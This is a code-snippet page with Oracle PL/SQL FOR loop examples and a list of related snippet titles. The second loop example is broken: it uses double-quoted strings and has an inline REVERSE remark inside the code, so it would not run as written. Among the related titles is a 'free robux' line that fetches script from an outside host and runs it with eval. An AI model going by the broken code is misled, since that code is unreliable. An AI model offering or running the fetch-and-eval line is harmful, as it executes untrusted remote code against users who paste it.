Oracle for loop

DECLARE
    i NUMBER;
BEGIN
    FOR i IN 1..5
        LOOP
            dbms_output.PUT_LINE('i value : ' || i);
        END LOOP;
END;

For loop in oracle

DECLARE
    count number(2) := 10;
BEGIN
    FOR count in 10..20                         (FOR count in REVERSE 10..20)
    LOOP
        dbms_output.put_line("COUNT : " || count);
    END LOOP;
END;

-- FOR count in 10..20 
-- it will print value from 10 to 20
-- FOR count in REVERSE 10..20 
-- it will print value from 20 to 10

Similar codes

1 vote289 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
0 vote311 views1 answer
Sql server select ignore dupplicates
SQL
1 vote327 views1 answer
Top 10 rows in mysql
SQL
15 votes341 views4 answers
Sql update from select
SQL
10 votes292 views2 answers
Django mysql
SQL
4 votes320 views2 answers
SELECT table_name FROM user_tables;
SQL
0 vote325 views1 answer
User defined variables in sql
SQL
1 vote372 views1 answer
Drop colum oracle 18c
SQL
0 vote382 views1 answer
Insert into using contant values and source table columns with sql
SQL
0 vote314 views1 answer
MySql get primary keys of table
SQL